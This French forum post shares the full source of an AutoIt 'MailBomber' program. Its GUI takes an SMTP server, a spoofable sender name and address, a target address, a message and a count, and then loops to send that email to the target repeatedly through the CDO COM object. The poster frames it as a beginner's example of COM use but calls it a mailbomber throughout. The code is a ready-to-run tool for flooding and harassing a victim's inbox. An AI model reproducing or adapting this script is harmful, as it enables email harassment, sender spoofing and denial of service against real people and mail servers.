Vous n'êtes pas identifié.
Voici un mailbomber utilisant les objets COM ![]()
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_outfile=Mailbomber.exe
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_UseX64=n
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
;Script écrit par Narmeke et transformé en Mailbomber par Ptifou78 ;)
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <ProgressConstants.au3>
#include <WindowsConstants.au3>
#Include <inet.au3>
#include <file.au3>
$i=1
$Form1_1 = GUICreate("MailBomber", 230, 443, 192, 124)
$SMTP = GUICtrlCreateInput("Serveur SMTP", 40, 16, 153, 21)
$desti = GUICtrlCreateInput("Nom de l'expéditeur", 40, 48, 153, 21)
$Adressed = GUICtrlCreateInput("Email de l'expéditeur", 40, 80, 153, 21)
$Texte = GUICtrlCreateEdit("", 40, 176, 153, 169)
GUICtrlSetData(-1, "Texte")
$MyButton1 = GUICtrlCreateButton("Go", 52, 384, 124, 30, $BS_FLAT)
$adresser = GUICtrlCreateInput("Email du destinataire", 40, 112, 153, 21)
$sujetmess = GUICtrlCreateInput("Sujet du message", 40, 144, 153, 21)
$nombre_mail = GUICtrlCreateInput("Nombre d'email à envoyer", 40, 352, 145, 21)
GUISetState(@SW_SHOW)
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
case $MyButton1
$s_SmtpServer = GUICtrlRead($SMTP)
$s_FromName = GUICtrlRead($desti)
$s_FromAddress = GUICtrlRead($Adressed)
$s_ToAddress = GUICtrlRead($adresser)
$s_Subject = GUICtrlRead($sujetmess)
$as_Body = GUICtrlRead($Texte)
$s_AttachFiles = "" ; the file you want to attach- leave blank if not needed
$s_CcAddress = "" ; address for cc - leave blank if not needed
$s_BccAddress = "" ; address for bcc - leave blank if not needed
$s_Username = "" ; username for the account used from where the mail gets sent - Optional (Needed for eg GMail)
$s_Password = "" ; password for the account used from where the mail gets sent - Optional (Needed for eg GMail)
$IPPort = 25 ; port used for sending the mail
$ssl = 0
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
While $i <= GUICtrlRead($nombre_mail)
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
$i = $i + 1
If @error Then
MsgBox(0, "Error sending message", "Error code:" & @error & " Rc:" & $rc)
EndIf
WEnd
MsgBox( 0, "MailBomber", "Vous avez envoyé "&$i&" Mails à "&$s_ToAddress)
Case $GUI_EVENT_CLOSE
Exit
EndSwitch
WEnd
;---------------------
; Fonctions pour
; L'envoie de mail
;---------------------
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)
$objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment ($S_Files2Attach[$x])
Else
$i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
SetError(1)
return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authentification au serveur SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
If $Ssl Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Mis a jour
$objEmail.Configuration.Fields.Update
; Envoi du message
$objEmail.Send
if @error then
SetError(2)
return $oMyRet[1]
EndIf
EndFunc ;==>_INetSmtpMailCom
Func MyErrFunc()
$HexNumber = Hex($oMyError.number, 8)
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description,3)
ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
SetError(1)
Return
EndFunc ;==>MyErrFunc
;---------------------
; Fin Fonctions pour
; L'envoie de mail
;---------------------En version pastebin avec la colorisation de la syntaxe
http://pastebin.com/EmYXPKWg
PS: si ce code dérange un admin libre a lui de le supprimé mais j'ai postai cette source car je la trouve intéressante pour les débutants qui souhaitent trouvé un exemple de l'utilisation des objets COM ![]()
Hors ligne
Par contre si tu veux je peut enlevé la fonction mailbomber pour que ça devienne juste un simple envoyeur de mail?
Hors ligne